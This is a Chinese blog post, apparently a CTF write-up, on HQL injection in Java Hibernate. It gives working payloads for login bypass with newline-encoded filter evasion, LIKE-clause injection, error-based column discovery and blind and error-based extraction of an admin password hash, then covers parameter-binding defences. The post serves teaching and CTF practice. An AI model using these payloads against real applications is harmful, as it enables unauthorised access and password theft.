遇到一个hql注入ctf题 这里总结下java中Hibernate HQL的注入问题。
0x01 关于HQL注入
Hibernate是一种ORM框架,用来映射与tables相关的类定义(代码)
内部可以使用原生SQL还有HQL语言进行SQL操作。
HQL注入:Hibernate中没有对数据进行有效的验证导致恶意数据进入应用程序中造成的。参考SQL注入即可。
HQL查询过程:
HQL查询是由hibernate引擎对查询进行解析并解释,然后将其转换为SQL。所以错误消息来源有两种,一种来自hibernate引擎,一种来自数据库。
HQL语法:
注意这里查询的都是JAVA类对象 select "对象.属性名" from "对象名" where "条件" group by "对象.属性名" having "分组条件" order by "对象.属性名"
这里写个简单的测试HQL注入
注入:
aaaa‘ or 1=1 or "=‘
后面的" 和 payload的中的 ‘ 加语句本身的 ‘ 构成 双引号等于双引号
SCTF2018 : Zhuanxv这道题中
反编译后class看到hql语句
前面审计出条件
用户名过滤空格与等号 所以注入语句用换行符 %0a
payload:
admin%27%0Aor%0A%271%27%3E%270‘%0Aor%0Aname%0Alike%0A‘admin&user.password=1
拼接后的语句:
from User where name = ‘"admin‘ or ‘1‘>‘0‘ or name like ‘admin&user.password=1"‘ and password = ‘"+ password + "‘"
还有一种是百分号里注入 大同小异:
session.createQuery("from Book where title like ‘%" + userInput + "%‘ and published = true")
注入:
from Bookwhere title like ‘%‘ or 1=1 or ‘‘=‘%‘ and published = true
注入爆出隐藏的列:
from Bookwhere title like ‘%‘ and promoCode like ‘A%‘ or 1=2 and ‘‘=‘%‘ and published = true from Bookwhere title like ‘%‘ and promoCode like ‘B%‘ or 1=2 and ‘‘=‘%‘ and published = true
列出所有的列
利用返回错误异常消息 列名不是Hibernate中实体定义的一部分,则其会触发异常
from Bookwhere title like ‘%‘ and DOESNT_EXIST=1 and ‘‘=‘%‘ and published = true
org.hibernate.exception.SQLGrammarException: Column "DOESNT_EXIST" not found; SQL statement:select book0_.id as id21_, book0_.author as author21_, book0_.promoCode as promo3_21_, book0_.title as title21_, book0_.published as published21_ from Book book0_ where book0_.title like ‘%‘ or DOESNT_EXIST=‘%‘ and book0_.published=1 [42122-159]
HQL支持UNION查询,可以与其它表join,但只有在模型明确定义了关系后才可使用。
盲注
如果查询不用的表,镶嵌使用子查询。
from Bookwhere title like ‘%‘ and (select substring(password,1,1) from User where username=‘admin‘) = ‘a‘ or ‘‘=‘%‘ and published = true
报错注入
from Bookwhere title like ‘%11‘ and (select password from User where username=‘admin‘)=1 or ‘‘=‘%‘ and published = true
Data conversion error converting "3f3ff0cdbfa0d515f8e3751e4ed98abe"; SQL statement:select book0_.id as id18_, book0_.author as author18_, book0_.promotionCode as promotio3_18_, book0_.title as title18_, book0_.visible as visible18_ from Book book0_ where book0_.title like ‘%11‘ and (select user1_.password from User user1_ where user1_.username = ‘admin‘)=1 or ‘‘=‘%‘ and book0_.published=1 [22018-159]
0x02 HQL注入防御
HQL参数名称绑定
防御sql注入最好的办法就是预编译
Query query=session.createQuery(“from User user where user.name=:customername and user:customerage=:age ”); query.setString(“customername”,name); query.setInteger(“customerage”,age);
HQL参数位置邦定:
Query query=session.createQuery(“from User user where user.name=? and user.age =? ”); query.setString(0,name); query.setInteger(1,age);
setParameter()
String hql=”from User user where user.name=:customername ”; Query query=session.createQuery(hql); query.setParameter(“customername”,name,Hibernate.STRING);
setProperties()方法:
setProperties()方法将命名参数与一个对象的属性值绑定在一起
Customer customer=new Customer(); customer.setName(“pansl”); customer.setAge(80); Query query=session.createQuery(“from Customer c where c.name=:name and c.age=:age ”); query.setProperties(customer);
setProperties()方法会自动将customer对象实例的属性值匹配到命名参数上,但是要求命名参数名称必须要与实体对象相应的属性同名。
参考链接:
HQL: The Hibernate Query Language: Hibernate 官方
https://www.freebuf.com/articles/web/33954.html
原文地址:https://www.cnblogs.com/-qing-/p/11650774.html